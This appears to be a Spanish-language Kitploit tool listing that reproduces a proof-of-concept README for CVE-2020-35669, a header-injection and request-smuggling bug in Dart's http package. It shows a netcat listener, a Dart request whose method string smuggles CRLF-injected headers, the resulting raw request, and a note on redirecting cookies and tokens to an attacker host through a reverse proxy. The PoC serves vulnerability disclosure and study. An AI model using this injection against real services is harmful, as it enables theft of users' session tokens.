Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-35669 — Exploit de prueba de concepto para CVE-2020-35669 que demuestra contrabando de solicitudes HTTP e inyección de cabeceras en el paquete http de Dart a través de parámetros de método manipulados, permitiendo el bypass del proxy inverso y la manipulación de la cabecera Host. | Kitploit
Herramientas/GitHubGitHub/n0npax/cve-2020-35669
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubn0npax/cve-2020-35669

CVE-2020-35669

Exploit de prueba de concepto para CVE-2020-35669 que demuestra contrabando de solicitudes HTTP e inyección de cabeceras en el paquete http de Dart a través de parámetros de método manipulados, permitiendo el bypass del proxy inverso y la manipulación de la cabecera Host.

Ver Repositorio
1hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-35669

servidor dummy

ejecute el servidor dummy usando la primera terminal

root@kitploit:~
sudo nc -l 127.0.0.1 80 

aplicar el diff dado

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

ejecutar la aplicación dummy

ejecute main.dart usando la segunda terminal

root@kitploit:~
dart run main.dart

resultado

nc debería recibir la solicitud dada

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

Fragmento importante de código

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

Ruta crítica

Suponiendo que diff mostrado arriba no fue aplicado y el usuario está detrás de un rev-proxy Se alcanzó el sitio web servido por example.com.

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

Por qué esto es un riesgo de seguridad

Si el desarrollador está usando Request para abstraer la generación de llamadas HTTP y está aceptando un parámetro de método del usuario, el usuario puede hacer algo de magia como inyección de encabezados o falsificación de rutas. Esto puede ser explotado de muchas maneras y parece ser bastante importante especialmente en caso de que haya un proxy inverso. Un proxy podría simplemente pasar la solicitud de alguien a cualquier host basado en el encabezado host. Supongamos que estoy reemplazando example.com con my-evil-uservice.org y la víctima está trabajando en una empresa detrás del proxy. Esto significa que puedo redirigir llamadas con encabezados/cookies(tokens) y bla bla bla. Con base en esto, se puede robar llamadas con todos los encabezados/cookies.

Descargar herramienta